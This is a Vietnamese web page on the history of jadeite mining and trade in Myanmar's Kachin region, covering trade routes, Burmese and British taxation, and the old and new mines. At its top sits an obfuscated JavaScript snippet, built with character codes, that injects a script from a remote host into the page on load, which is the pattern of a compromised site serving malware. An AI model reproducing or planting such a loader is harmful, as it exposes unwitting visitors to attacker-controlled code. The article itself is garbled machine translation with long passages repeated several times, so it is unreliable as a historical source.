Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();
Các mỏ ngọc ở Myanmar - Sự thật về ngọc Jadeite

Các mỏ ngọc ở Myanmar – Sự thật về ngọc Jadeite

Nguồn gốc của ngọc

Jadeite hoặc nephrite được biết đến ở Trung Quốc từ thời kỳ cổ đại. Nó được tìm thấy lần đầu ở Khoten và các khu vực khác ở Trung Á, và có màu trắng mỡ cừu và có giá trị rất cao, nó là biểu tượng của sự thuần khiết trong cuộc sống.

Màu xanh lá cây sống động của đá quý được coi là cực kỳ quý hiếm, chính vì vậy từ xa xưa con người đã biết chôn ngọc trắng trong các vật chứa bằng đồng để tạo ra màu xanh đó.Việc phát hiện ra rằng ngọc xanh có chất lượng tốt ở Bắc Miến Điện bởi một thương nhân nhỏ người Vân Nam vào thế kỷ thứ mười ba đã mở ra cuộc săn lùng thứ màu xanh sống động đó. Câu chuyện kể rằng khi trở về từ một hành trình xuyên biên giới, anh lái buôn nhặt một mảnh đá để cân bằng tải trọng trên con la của mình. Khi viên đá bị vỡ người lái buôn đã bị mê hoặc bởi màu xanh sống động đó. Các nỗ lực tìm kiếm nguồn gốc của màu xanh đó đều trở nên bất lực. Vào thế kỷ 14 những nỗ lực đó rơi vào tuyệt vọng khi số lượng người chết trong cuộc thám hiểm tăng lên vì sốt rét, hoặc bị sát hại bởi các thổ dân. Từ thời điểm này trở đi, trong nhiều thế kỷ, mọi công cuộc tìm kiếm nguồn gốc thứ ngọc xanh gần như ngưng trệ.

Năm 1784 đánh dấu sự chấm dứt cuối cùng của một loạt các tranh chấp kéo dài giữa Miến Điện và Trung Quốc, và kể từ thời điểm này bắt đầu một giao dịch thương mại thường xuyên giữa hai nước. Các nhà thám hiểm của Trung Quốc trước đó đã phát hiện ra rằng các khu vực sản xuất ngọc bích nằm ở thượng lưu bên phải sông Uru, và một nguồn cung cấp đá nhỏ nhưng đều đặn hiện được chuyển đến Vân Nam mỗi năm.

Nội chiến, khí hậu khắc nghiệt, đường đi lại khó khăn đặc biệt là vào mùa mữa những con đường dẫn vào khu mỏ nhanh chóng trở thành đầm đã ngăn cản sự mở rộng của con đường thương mại. Khoảng hai mươi hoặc ba mươi người Trung Quốc nhiều nhất đã đi vào đất nước ngọc bích mỗi mùa và rất ít trong số này đã trở lại. Trong ngôi đền của Trung Quốc tại Amarapura là một danh sách dài chứa tên của 6.000 thương nhân Trung Quốc đã chết ở Miến Điện kể từ đầu thế kỷ, hiện tại các nghi thức tang lễ được trả hàng năm. Phần lớn những người đàn ông này được biết đã mất mạng trong quá trình tìm kiếm ngọc. Cuộn chỉ bao gồm tên của các thương nhân nổi tiếng và đáng kể. Có thể xác định được số lượng thương nhân và nhà thám hiểm nhỏ hơn đã chết trong cùng một doanh nghiệp, danh sách này sẽ bị thay đổi gấp nhiều lần so với quy mô hiện tại của nó.

Con đường ngọc bích

Con đường sớm nhất theo sau là những người buôn ngọc bích dẫn từ Momein đến Kunyung Lien và Chansi trên biên giới Vân Nam. Tại đây, đồi Kachin đã được đưa vào và một hành trình kéo dài một tuần qua những con đường núi cực kỳ khó khăn đã đưa du khách đến Kachins-Yimma trên Irrawaddy, một nơi dường như nằm cách Talawgyi một khoảng cách. Con sông đang băng qua đây, các bên đã cố gắng hết sức có thể về phía Hsimu (Seikmo) [Sate Mu] trong thung lũng của sông Uru, nơi họ thường đến sau một cuộc diễu hành kéo dài mười ngày. Các mỏ đá Hsimu được phát hiện lần đầu tiên vào năm 1790; họ đã mang lại một viên ngọc rất rực rỡ, những mảnh được cho là đôi khi được trao đổi tại Momein vì trọng lượng của chúng bằng bạc.

Năm 1798, các thương nhân Trung Quốc tại Ava, với sự hỗ trợ của Chính phủ Miến Điện, đã mở ra một tuyến đường mới đến các mỏ, cụ thể là từ Ava đến Menrua (Monywa), từ sông Chindwin và Uru đến Serua (Seywa), từ đó Các mỏ sau đó hoạt động cách xa hai ngày bằng đường bộ. Việc buôn bán ngọc giờ phát triển nhanh chóng và Serua, là kho, đã trở nên quan trọng. Tuy nhiên, sau một số năm, tuyến đường này trở nên không an toàn do sự thù địch của một số bộ lạc Kachin đã bắt đầu dọn đường và cướp các đoàn lữ hành; và tuyến đường Kutung (Kuyung) ban đầu vì những lý do tương tự không có, một tuyến đường bộ mới khác đã được thông qua, cụ thể là từ Katha thông quaMawlu, Mohnyin và Loastun (Lawsun) đến Endaw (Indaw); Từ đó đến ba ngày.

Con đường trực tiếp vào Trung Quốc thông qua Bhamo đã được biết đến trong nhiều thế kỷ, nhưng nỗi sợ hãi của Kachins dường như đã ngăn cản các thương nhân sử dụng nó thường xuyên. Ngay cả bông từ Hạ Miến Điện cũng liên tục được gửi qua sông qua Bhamo đến Tsenbo (Sinbo) hoặc đến Talaw, và được các con la chuyển đến Vân Nam. Năm 1805, những lô hàng ngọc bích đầu tiên được gửi xuống dòng sông Mogaung đến Tsenbo (Sinbo), nơi chúng được giao cho trách nhiệm của các đoàn lữ hành bông; và từ năm 1807 trong một số năm, một con đường yêu thích cho ngọc bích là từ các mỏ bằng Myuhung (Mogaung cũ), Tapaw và Hokat đến Talaw trên Irrawaddy, từ đó hòn đá di chuyển trên đất liền với các đoàn lữ hành bông qua Sima, Tachai (biên giới giữa Miến Điện và các bộ lạc xa xôi phụ thuộc vào Trung Quốc) và Sanda (Santa) (biên giới của Trung Quốc thích hợp) với Momein (Tengyueh). Tuyến đường này vẫn được sử dụng ở một mức độ nhỏ. Nó nằm dưới sự bảo vệ của một gia đình Trung Quốc hùng mạnh tại Tachai có tên Chao, người mà du khách phải trả một khoản tiền cố định để thực hiện an toàn.

Các mỏ ngọc ở Myanmar - Sự thật về ngọc Jadeite
Các mỏ ngọc ở Myanmar – Sự thật về ngọc Jadeite

Mỏ ngọc ở Bang Kachin Myanmar

Đầu thế kỷ hiện tại, các vị vua Miến Điện dường như đã nhận thức được tầm quan trọng của việc buôn bán ngọc và doanh thu mà nó có thể được thực hiện để mang lại cho họ. Năm 1806, một Bộ sưu tập Miến Điện được thành lập tại địa điểm của thị trấn Mogaung ngày nay, và một người bảo vệ khoảng ba mươi quân Miến Điện dưới quyền một Sĩ quan Quân đội thường xuyên đóng quân tại các mỏ trong mùa làm việc để bảo vệ thương mại và duy trì trật tự. Lực lượng này luôn đi cùng với Amatgyi , hay quý tộc di truyền, của quận Mogaung, có nhiệm vụ đặc biệt là kiểm soát các bộ lạc trên đồi. Hiệu trưởng Kachin Sawbwas [các hoàng tử] cũng có thói quen gặp gỡ quan chức Miến Điện ở Mogaung và hộ tống anh ta đến mỏ, nơi họ cung cấp cho anh ta giải trí trong thời gian ở đây.

Mogaung giờ trở thành trụ sở buôn bán ngọc bích ở Miến Điện. Một cách tương đối ít người Trung Quốc thực sự đi lên mỏ; Chính Kachins đã mang phần lớn đá xuống Shuitunchun, một bãi cát đối diện với Mogaung, nơi có một khu chợ lớn được tổ chức trong mùa. Nhà sưu tập người Miến Điện không áp dụng thuế đối với hòn đá cho đến khi nó sẵn sàng rời khỏi Mogaung, khi ông đánh thuế một giá trị quảng cáo nhiệm vụ 33 phần trăm, và cấp giấy phép được kiểm tra bởi phó của ông tại Tapaw, một ngày hành trình từ Mogaung bằng đường sông. Sau đó, hòn đá được tự do đi qua bất cứ nơi nào ở Miến Điện mà không phải trả thêm phí hay kiểm tra. Giá trị của ngọc được xác định cho mục đích đánh thuế bởi một thẩm định viên chính thức. Tuy nhiên, nhân viên này, bằng cách sắp xếp riêng tư với các thương nhân và Nhà sưu tập, ước tính tất cả đá khoảng một phần ba giá trị thực của nó. Do đó, nghĩa vụ thực tế phải trả là nhỏ và việc kinh doanh diễn ra suôn sẻ, các trường hợp xích mích giữa thương nhân và nhân viên hải quan rất hiếm khi xảy ra. Tất cả các khoản thanh toán được thực hiện bằng bạc. Kim loại được sử dụng lúc đầu khá tinh khiết, nhưng nó đã sớm bị loại bỏ bởi một hỗn hợp chì lớn. Rupees không được đưa vào sử dụng chung cho đến năm 1874.

Bên cạnh việc chịu thuế tại Mogaung, chúng phải chịu một số khoản phí nhất định, được ủy quyền và không được ủy quyền, tại các mỏ và Namiakyaukseik (Nanyaseik), một ngày hành trình từ các mỏ: – (1) Sĩ quan Miến Điện tại các mỏ bị đánh thuế hàng tháng 1 lượng (khoảng 4 annas) cho tất cả những người đến giao dịch; từ phí này Burmans và công nhân thực tế trong các mỏ đã được miễn; (2) một khoản tiền nữa là 2,5 lượng (khoảng 10 annas) đã bị tính phí cho một đường chuyền được cấp cho mỗi tải ngọc rời khỏi mỏ cho Namiakyaukseik; (3) tại Namiakyaukseik 4 lượng (khoảng một rupee) đã được trả khi nhận được mọi tải cho một đại lý của Mogaung Collector đóng quân vĩnh viễn ở đó. Trong số các khoản phí này, người Trung Quốc coi thứ nhất và thứ ba là hợp pháp, và lần thứ hai như một khoản tiền thưởng trái phép cho cấp dưới của Cán bộ Mỏ. Tất cả các chi phí trên dường như đã thay đổi một chút từ năm này sang năm khác.

Người Kachins không thu phí đá trên mỏ hoặc đi xuống Mogaung. Quyền của họ dường như đã được hiểu rõ và tôn trọng. Họ được coi là chủ sở hữu tuyệt đối của tất cả các loại đá được sản xuất tại đất nước của họ. Quyền sở hữu này không bao giờ được gọi trực tiếp trong câu hỏi của Quốc vương Miến Điện. Như tôi sẽ chỉ ra bên dưới, chiều dài xa nhất mà anh ta đi theo hướng này là để loại trừ tất cả các đối thủ cạnh tranh trong những năm khi anh ta mua ngọc từ Kachins. Người Kachin đứng về phía họ thừa nhận chủ quyền của Quốc vương Miến Điện bằng cách thừa nhận các sĩ quan của mình khai thác; bằng cách cho phép họ mua một số lượng đá nhất định cho Vua sử dụng với giá danh nghĩa; và bằng cách thông qua các khoản phí nhất định được áp đặt bởi các sĩ quan đó và trong các can thiệp nhất định tại các mỏ, theo đó giá đá của họ bị ảnh hưởng nặng nề. Tôi sẽ quảng cáo dưới đây về quyền của KachinSawbwas về người dân của họ tham gia vào khai thác ngọc.

Theo hệ thống vừa mô tả, giao dịch ngọc bích tiếp tục phát triển trong nhiều năm. Thời kỳ thịnh vượng nhất của nó bao gồm trong những năm 1831 ,40, trong thời gian đó, ít nhất 800 người Trung Quốc và 600 người Shans hàng năm tham gia kinh doanh hoặc lao động tại các mỏ. Tất cả các viên đá được gửi bởi một trong những tuyến đường đã nói ở trên đến Vân Namfu, tại thời điểm này là trung tâm thương mại lớn. Công việc kinh doanh ở đó chủ yếu nằm trong tay các thương nhân người Quảng Đông, họ đã mua đá thô với số lượng lớn và mang nó trở lại để được cắt và đánh bóng tại Canton.

Năm 1841 chiến tranh nổ ra giữa Anh và Trung Quốc. Sự thù địch lần đầu tiên bắt đầu tại Canton và ảnh hưởng đối với giao dịch ngọc không lâu trong việc tạo cảm giác. Các thương nhân Quảng Đông không còn đến mua đá tại Vân Namfu. Cổ phiếu tích lũy và thương nhân Vân Nam đã ngừng đi lên mỏ. Người Kachins, chịu đựng sự ngừng hoạt động kinh doanh này, đã đưa ra những đại diện khẩn cấp cho người Miến Điện tại Mogaung; và vào năm 1842, một sĩ quan Miến Điện đã đi từ Mogaung đến Momein để hỏi xem có bất kỳ hành vi phạm tội nào được đưa ra cho các thương nhân Trung Quốc rằng họ không đến mỏ như thường lệ. Có một sự hồi sinh một phần của thương mại trong một vài năm bắt đầu từ năm 1847, nhưng tình trạng bị xáo trộn ở miền Nam Trung Quốc, do cuộc nổi dậy Taiping năm 1850 đã ngăn chặn sự phục hồi hoàn toàn;

Trong giai đoạn đầu của giai đoạn vừa qua, người ta ước tính rằng số tiền thuế trung bình thu được mỗi năm không vượt quá 6,6 rupe, sản lượng ngọc nhỏ và các thẩm định viên chính thức. Vào khoảng năm 1836, khi giao dịch phát triển nhất, 21.000 rupe là số tiền có thể có của các bộ sưu tập hàng năm. Sau năm 1840, mức thuế giảm xuống còn 3,3 Rupe hoặc ít hơn, và sau đó nó giảm dần xuống mức không có gì. Các ước tính trên có thể nằm dưới nhãn hiệu, vì người Trung Quốc vì những lý do rõ ràng, có xu hướng đánh giá thấp số tiền thực.

Năm 1861 chứng kiến ​​một sự cải thiện lớn trong thương mại ngọc. Từ ngày đó đến nay, phần lớn đá đã được vận chuyển bằng đường biển đến Canton. Năm 1861, các thương nhân người Quảng Đông đầu tiên [thương gia] đã đến Mandalay. Ông đã mua tất cả các cổ phiếu ngọc bích cũ và chuyển chúng đến Trung Quốc bằng đường biển, nhận ra một tài sản lớn trong liên doanh này. Ví dụ của ông nhanh chóng được theo sau bởi những người Quảng Đông khác, và một lần nữa việc buôn bán ngọc bích được hồi sinh và nhiều người Vân Nam đã đi đến các mỏ. Các mỏ đá chính hiện đang ở Sanka, một địa điểm gần đây được cột Mogaung ghé thăm. Đá đã được phát hiện ở đó nhiều năm trước, nhưng được phát âm là kém chất lượng và hiếm khi đáng để làm việc. Bây giờ, tuy nhiên, sau một thử nghiệm thứ hai, nó đã được chứng minh là ngang bằng hoặc vượt trội so với các mỏ trước đó, màu sắc, như Kachins đã cáo buộc, trưởng thành và sâu sắc hơn trong khoảng thời gian. Thuế hàng năm thu được tại thời điểm này có thể lên tới ít nhất 27.000 rupee.

Cho đến nay, bộ sưu tập nhiệm vụ đã nằm trong tay một quan chức đã trả giá rất cao tại Ava cho cuộc hẹn của anh ta và người có thói quen chuyển đến thủ đô chỉ nhiều như anh ta nghĩ là phù hợp – thường là khoảng một phần năm của hóa đơn thực tế. Năm 1866, lần đầu tiên thuế được đưa ra. Giá thu được là 60.000 rupee cho một hợp đồng thuê ba năm. Khi hết thời hạn này, Quốc vương, không hài lòng với số tiền doanh thu ngọc, quyết tâm mua tất cả đá từ chính Kachins, và ông đã chỉ định một quan chức cao cấp làm đại lý của mình tại mỏ. Trong cả một mùa, người Trung Quốc và các đại lý ngọc bích khác đã bị loại khỏi mỏ; khi hòn đá được đào lên, nó đã được đại lý của King mua, mang đến Mogaung và ở đó bán lẻ cho các thương nhân. Sự sắp xếp này tất nhiên là không thỏa đáng với Kachins, người đầu tiên phản đối việc loại trừ những người mua khác và sau đó, thấy sự phản kháng của họ không có kết quả, đã sử dụng phương pháp hiệu quả hơn là cắt giảm việc cung cấp đá và chỉ tạo ra những mảnh chất lượng vô tư . Vì lý do này, thí nghiệm của King là một thất bại và tổng doanh thu mà anh ta đảm bảo không bằng số tiền thu được từ việc bán độc quyền trong năm trước. Người Trung Quốc giải thích sự thất bại trên các căn cứ khác. Các thí nghiệm, họ nói, đã bị tiêu diệt ngay từ đầu do sự không đúng đắn vốn có của một chủ quyền đi xuống đấu trường thương mại và lấy bánh mì ra khỏi miệng của các đối tượng của mình. người đầu tiên phản đối việc loại trừ những người mua khác và sau đó, tìm thấy sự phản kháng của họ không có kết quả, đã sử dụng phương pháp hiệu quả hơn nhiều để cắt giảm việc cung cấp đá và chỉ tạo ra những mảnh chất lượng không quan tâm. Vì lý do này, thí nghiệm của King là một thất bại và tổng doanh thu mà anh ta đảm bảo không bằng số tiền thu được từ việc bán độc quyền trong năm trước. Người Trung Quốc giải thích sự thất bại trên các căn cứ khác. Các thí nghiệm, họ nói, đã bị tiêu diệt ngay từ đầu do sự không đúng đắn vốn có của một chủ quyền đi xuống đấu trường thương mại và lấy bánh mì ra khỏi miệng của các đối tượng của mình. người đầu tiên phản đối việc loại trừ những người mua khác và sau đó, tìm thấy sự phản kháng của họ không có kết quả, đã sử dụng phương pháp hiệu quả hơn nhiều để cắt giảm việc cung cấp đá và chỉ tạo ra những mảnh chất lượng không quan tâm. Vì lý do này, thí nghiệm của King là một thất bại và tổng doanh thu mà anh ta đảm bảo không bằng số tiền thu được từ việc bán độc quyền trong năm trước. Người Trung Quốc giải thích sự thất bại trên các căn cứ khác. Các thí nghiệm, họ nói, đã bị tiêu diệt ngay từ đầu do sự không đúng đắn vốn có của một chủ quyền đi xuống đấu trường thương mại và lấy bánh mì ra khỏi miệng của các đối tượng của mình. sử dụng phương pháp hiệu quả hơn nhiều để cắt giảm việc cung cấp đá và chỉ sản xuất những mảnh chất lượng không quan tâm. Vì lý do này, thí nghiệm của King là một thất bại và tổng doanh thu mà anh ta đảm bảo không bằng số tiền thu được từ việc bán độc quyền trong năm trước. Người Trung Quốc giải thích sự thất bại trên các căn cứ khác. Các thí nghiệm, họ nói, đã bị tiêu diệt ngay từ đầu do sự không đúng đắn vốn có của một chủ quyền đi xuống đấu trường thương mại và lấy bánh mì ra khỏi miệng của các đối tượng của mình. sử dụng phương pháp hiệu quả hơn nhiều để cắt giảm việc cung cấp đá và chỉ sản xuất những mảnh chất lượng không quan tâm. Vì lý do này, thí nghiệm của King là một thất bại và tổng doanh thu mà anh ta đảm bảo không bằng số tiền thu được từ việc bán độc quyền trong năm trước. Người Trung Quốc giải thích sự thất bại trên các căn cứ khác. Các thí nghiệm, họ nói, đã bị tiêu diệt ngay từ đầu do sự không đúng đắn vốn có của một chủ quyền đi xuống đấu trường thương mại và lấy bánh mì ra khỏi miệng của các đối tượng của mình. Thử nghiệm của họ là một thất bại và tổng doanh thu mà anh ta đảm bảo không bằng số tiền thu được từ việc bán độc quyền trong năm trước. Người Trung Quốc giải thích sự thất bại trên các căn cứ khác. Các thí nghiệm, họ nói, đã bị tiêu diệt ngay từ đầu do sự không đúng đắn vốn có của một chủ quyền đi xuống đấu trường thương mại và lấy bánh mì ra khỏi miệng của các đối tượng của mình. Thử nghiệm của họ là một thất bại và tổng doanh thu mà anh ta đảm bảo không bằng số tiền thu được từ việc bán độc quyền trong năm trước. Người Trung Quốc giải thích sự thất bại trên các căn cứ khác. Các thí nghiệm, họ nói, đã bị tiêu diệt ngay từ đầu do sự không đúng đắn vốn có của một chủ quyền đi xuống đấu trường thương mại và lấy bánh mì ra khỏi miệng của các đối tượng của mình.

Trong những năm 1870, 1871 và 1872, Nhà vua đã nhận được khoản tiền chuyển hàng năm là 12.000 rupee từ Nhà sưu tập tại Mogaung vì nhiệm vụ ngọc bích. Trong năm tiếp theo, những mỏ ngọc bích mới được phát hiện tại Mantiemho và Nhà vua một lần nữa quyết tâm trở thành người mua duy nhất từ ​​Kachins. Nhân dịp này cũng vậy, doanh thu anh nhận ra đã giảm xuống rất xa so với mức trung bình của những năm trước.

Năm 1874, hệ thống cũ được hoàn nguyên và bộ sưu tập lên tới 60.000 rupee. Một lần nữa vào năm 1875, Nhà vua đã tự mình mua hòn đá từ Kachins và một lần nữa thí nghiệm thất bại, mặc dù không quá tệ như hai lần thử trước. Vào thời điểm này, mỏ đá Iku được phát hiện và, sản lượng rất tốt, quyền thu thuế được bán vào năm 1876 trong ba năm với số tiền là 60.000 rupee. Năm 1880, Wu Chi, con trai của một người mẹ Chin Chin của một người mẹ Miến Điện, đã nhận được hợp đồng độc quyền ba năm với mức giá 50.000 rupee một năm. Trong năm thứ hai của nhiệm kỳ Tomo (Tawmaw) mỏ đá đã được mở và ông đã tạo ra một tài sản lớn.

Vào mùa thu năm 1883, Mogaung đã bị Kachins sa thải, và trong suốt mùa đông và mùa xuân sau đó, không có giao dịch ngọc bích. Vào tháng 6 năm 1884, đơn hàng đã được khôi phục một phần, một tập đoàn Trung Quốc đại diện bởi Li Te Su đã giành độc quyền trong ba năm đồng ý trả 10.000 rupee năm đầu tiên, 15.000 rupee lần thứ hai và 20.000 rupee lần thứ ba.

Thuế phí đối với ngọc

Đất nước vẫn còn bất ổn và những người thuê, theo sự sắp xếp với các thương nhân, được phép thu thuế tại Bhamo thay vì, như trước đây, tại Mogaung. Trong hai năm đầu tiên của nhiệm kỳ, do những xáo trộn liên quan đến nhà thám hiểm Hsiao Chin (Hawsaing) và sự chiếm đóng của Anh ở Thượng Miến Điện, họ đã thu được rất ít hoặc không có nghĩa vụ; nhưng số tiền thu được trong năm thứ ba khiến họ có số tiền lãi là 20.000 rupee so với tổng chi phí trong ba năm.

Thuế sau đó được Chính phủ Anh đưa ra cho Loenpin, bên thuê hiện tại. Những vấn đề giữa anh và những người buôn ngọc không diễn ra suôn sẻ. Loenpin ngay từ đầu đã rất nghiêm ngặt trong việc chính xác các quyền của mình. Anh ta đánh thuế từng miếng ngọc bích tại Bhamo và Mandalay không mang dấu ấn rõ ràng của con dấu của người tiền nhiệm, và anh ta đã từ chối, trái với thông lệ của tất cả những người đi trước, để trợ cấp trong trường hợp tem bị xóa thường xuyên. bằng đá hoặc bằng cách lưu trữ lâu dưới lòng đất. Ông cũng từ chối thừa nhận miễn thuế một số lần tái nhập đá nhỏ từ Momein về việc những người thuê trước đó không gặp khó khăn gì. Cho đến nay Loenpin đã hành động trong các quyền pháp lý nghiêm ngặt. Hành động của anh ta trong các khía cạnh khác là nghi vấn hơn. Không có nhiệm vụ nào được thu thập tại Mogaung cho đến khi hòn đá được báo cáo sẵn sàng rời khỏi nơi này, khi nhiệm vụ được trả và một đường chuyền được ban hành. Do đó, Stone có thể ở lại Mogaung trong nhiều năm và đổi tay nhiều lần mà không phải chịu bất kỳ khoản phí nào. Loenpin, tuy nhiên, đã nhấn mạnh rằng tất cả ngọc phải trả nghĩa vụ cho anh ta trong vòng năm ngày kể từ khi đến Mogaung. Quy định mới này rất khó chịu đối với các thương nhân nhỏ trong ngọc. Ví dụ, một người đàn ông như vậy có thể đã đủ may mắn để bảo đảm một viên đá trị giá một ngàn rupee. Khi đến Mogaung Loenpin, anh ta sẽ nói với anh ta: ‘Tôi đánh giá viên đá của bạn ở mức năm trăm rupee; trả cho tôi nhiệm vụ (Rs.166) trong vòng năm ngày. ‘ Trong nhiều trường hợp, chủ sở hữu sẽ không thể tăng số tiền này trong một thông báo quá ngắn; và nếu anh ta không làm như vậy,

Ngoài việc thể hiện bản thân [đáng ghét] với tất cả các thương nhân trong ngọc, Loenpin đã đánh thức sự e ngại của các chủ sở hữu Kachin của các mỏ. Anh ta đã không có bí mật nào từ ý định đầu tiên của mình, không chỉ đơn thuần là thu thập nhiệm vụ, mà còn để quản lý thực tế các mỏ vào tay anh ta. Khi người Trung Quốc và Kachins, bằng cách trả thù, đã ngừng cung cấp ngọc trong một vài tuần, anh ta công khai tuyên bố rằng điều này không thành vấn đề, vì người Anh đã sớm đưa anh ta vào sở hữu vũ khí mà sau đó anh ta dự định làm việc với lao động nhập khẩu từ Singapore.

Sự phổ biến mà Loenpin đã kiếm được trong tất cả các tầng lớp quan tâm đến việc buôn bán ngọc đã lên đến đỉnh điểm vào tháng 12 năm ngoái trong sự phẫn nộ hèn nhát đối với anh ta tại Mogaung, dẫn đến cái chết của anh ta. Quốc gia sản xuất ngọc có thể được mô tả đại khái là quận lớn nằm giữa vĩ tuyến 25 và 26 vĩ độ, và được bao bọc bởi phía đông và phía tây bởi các con sông Uru và Chindwin. Một lượng nhỏ ngọc đã hết lần này đến lần khác được phát hiện trên gần như toàn bộ quá trình này, nhưng viên đá xuất hiện rất nhiều ở những nơi gần bờ phải của Uru và số lượng đáng kể đã được tìm thấy ở lòng suối. Tên của các mỏ đá nổi tiếng nhất trong thời gian qua vì sự xuất sắc của sản phẩm của họ là Hsimu [Sate Mu], Masa, Mopang và Tamukan [gần Haungpa]. Tất cả những nơi này dường như nằm trong ranh giới được đưa ra ở trên và nằm ở khoảng cách không xa với nhau. Tất cả họ đã ngừng sản xuất ngọc ngoại trừ số lượng nhỏ và hiện tại họ được gọi là ‘mỏ cũ’, Sanka là cái tên mới nhất được thêm vào danh sách này.

Ngọc cũng xảy ra ở một vài điểm biệt lập bên ngoài khu vực vừa mô tả. Tại Mawhooh, một ngày hành quân trên đường từ Mohnyin đến Katha, người Trung Quốc gần đây đã mở lại một mỏ đá cũ, sản lượng mà trong những năm trước rất giàu có. Và nổi tiếng nhất, có lẽ, trong số tất cả các mỏ ngọc dường như nằm ở khoảng cách hành trình vài ngày từ các khu khai thác chính. Nơi này được người Trung Quốc gọi là ‘Nantelung’, có nghĩa là ‘khó tiếp cận’ hoặc ‘nơi không thể chấp nhận được’. Nó được mô tả là [một] vách đá lớn nhô ra Chindwin, đất nước được thông qua rất tàn khốc và bị nhiễm các động vật hoang dã và các bộ lạc man rợ. Đá chỉ có thể có được bằng cách vung lên mặt của vách đá với sự hỗ trợ của dây thừng và đánh bật các phần nhỏ bằng búa. Nước bên dưới sâu và đá được ném xuống những chiếc thuyền được tăng cường đặc biệt bởi một bục tre được dựng lên trên boong. Nhiều mảnh bị mất trên sông và không thể được phục hồi trừ các thợ lặn chuyên nghiệp. Vì không có người Trung Quốc nào mạo hiểm đi đến Nantelung trong ít nhất hai mươi năm, các chi tiết đã nói ở trên có thể được phóng đại hoặc gây lo ngại ở một số khía cạnh, nhưng dường như không có nghi ngờ gì về sự tồn tại của khu vực ngọc bích có độ sáng chói đáng chú ý và giá trị.

Sanka là điểm đầu tiên ở xứ sở ngọc bích được cột Mogaung ghé thăm. Nó đã đạt được sau một cuộc hành của một số bảy mươi dặm từ Mogaung theo một hướng gần như chính xác về phía tây bắc. Lên đến Sakaw, một nửa quãng đường, con đường dẫn đến phần lớn xuyên qua rừng rậm, với một vài quãng nghỉ vui vẻ của đất rừng tương đối rộng mở. Tại Sakaw, dòng sông Endaw đã bị cắt ngang, và con đường trở đi trở nên đồi núi và ở một số nơi cực kỳ khó khăn vì sự hẹp hòi của đường đua và độ dốc lớn. Đất nước đi qua đã cởi mở hơn và một số vùng đất rừng tuyệt đẹp đã được thông qua. Sanka nằm trên bờ phải của Uru, đối diện ngã ba với dòng Nansant. Khoảng hai mươi năm trước, Sanka đã được tôn vinh vì sản lượng ngọc bích tốt, nhưng nguồn cung đã cạn kiệt từ lâu và nơi này gần như bị bỏ hoang. Tôi đã dành phần lớn hơn một ngày để tham quan các cuộc khai quật của những năm trước. Hàng ngàn hố đã được đào dọc theo sườn đồi thấp và trong các thung lũng nhỏ xen kẽ. Đường kính của hố hiếm khi vượt quá mười hoặc mười hai feet ở miệng, và độ sâu trung bình là khoảng mười hai feet. Tại hai trong số các mỏ đá này vẫn đang tiến hành. Một vài con Kachin đang tham gia vào việc lười biếng vẫy nước và tách những mảnh đá nhỏ mà chúng lần lượt đưa lên trán hố, và sau một lúc kiểm tra, tuyên bố là vô giá trị. Trả lời câu hỏi của tôi nếu họ tìm thấy một mảnh tốt, họ trả lời rằng sự kiện này đôi khi xảy ra một lần trong ba tháng, đôi khi một lần trong sáu. Việc phát hiện ra một mảnh tốt, tuy nhiên, đã bù đắp cho họ trong nhiều tháng lao động. Những cái hố mà họ đang làm việc thuộc về một Kachin Sawbwa nhỏ, người không cho họ gì ngoài thức ăn của họ trừ khi họ phát hiện ra ngọc, khi họ nhận được một phần công bằng của giá. Họ nói với tôi rằng tại nhiều mỏ cũ khác, một vài người đàn ông vẫn đang làm việc, họ nghĩ rằng mình may mắn nếu trong một năm, họ đã mang một hoặc hai mảnh ra ánh sáng, và họ nói thêm rằng giường của Uru vẫn cần mẫn tìm kiếm với nhiều kết quả không tương xứng. khi họ có được một phần công bằng của giá thực hiện. Họ nói với tôi rằng tại nhiều mỏ cũ khác, một vài người đàn ông vẫn đang làm việc, họ nghĩ rằng mình may mắn nếu trong một năm, họ đã mang một hoặc hai mảnh ra ánh sáng, và họ nói thêm rằng giường của Uru vẫn cần mẫn tìm kiếm với nhiều kết quả không tương xứng. khi họ có được một phần công bằng của giá thực hiện. Họ nói với tôi rằng tại nhiều mỏ cũ khác, một vài người đàn ông vẫn đang làm việc, họ nghĩ rằng mình may mắn nếu trong một năm, họ đã mang một hoặc hai mảnh ra ánh sáng, và họ nói thêm rằng giường của Uru vẫn cần mẫn tìm kiếm với nhiều kết quả không tương xứng.

Sanka là người cuối cùng của ‘mỏ cũ’. Các ‘mỏ mới’ đã sản xuất số lượng đá khổng lồ, nhưng không có loại nào tiếp cận được với chất lượng do các mỏ đá của những năm trước. Ở đây sẽ thuận tiện để chỉ ra một cách ngắn gọn bởi những điểm khác biệt giữa đá cũ và đá mới. Giá trị của ngọc được xác định chủ yếu bởi màu sắc, nên là một sắc thái đặc biệt của màu xanh đậm. Màu sắc, tuy nhiên, không có nghĩa là tất cả mọi thứ; bán trong suốt, sáng chói và độ cứng cũng rất cần thiết. Đá thỏa mãn bốn điều kiện này là rất hiếm. Ba phẩm chất cuối cùng được sở hữu bởi sự hoàn hảo bởi một tỷ lệ lớn của viên đá cũ, nhưng màu xanh đậm rất hiếm và thường không có mặt hoàn toàn. Đá mới, mặt khác, sở hữu màu sắc phong phú, nhưng bị khiếm khuyết trong ba khía cạnh khác, như một quy tắc mờ đục, buồn tẻ và dễ vỡ trong thành phần. Những khuyết tật tự nhiên này trở nên trầm trọng hơn bởi các phương pháp gây tổn thương được sử dụng trong khai thác đá mới. Một điều đặc biệt mang lại giá trị cao cho tất cả các viên đá được tìm thấy ở các mỏ cũ là [nó] xảy ra ở dạng cục tròn kích thước vừa phải, thường có sự xuất hiện của những tảng đá mòn nước, và đủ nhỏ để tách ra và mang đi mà không trải qua bất kỳ quá trình phân tách thô tại chỗ. Tại các mỏ mới, đá xuất hiện trong các khối lớn không thể được khai thác bởi bất kỳ công cụ nào mà Kachins sở hữu, nhưng phải bị phá vỡ bởi ứng dụng nhiệt, một quá trình, mà không nghi ngờ gì, có xu hướng làm cho đá trở nên giòn hơn và giống như phấn.

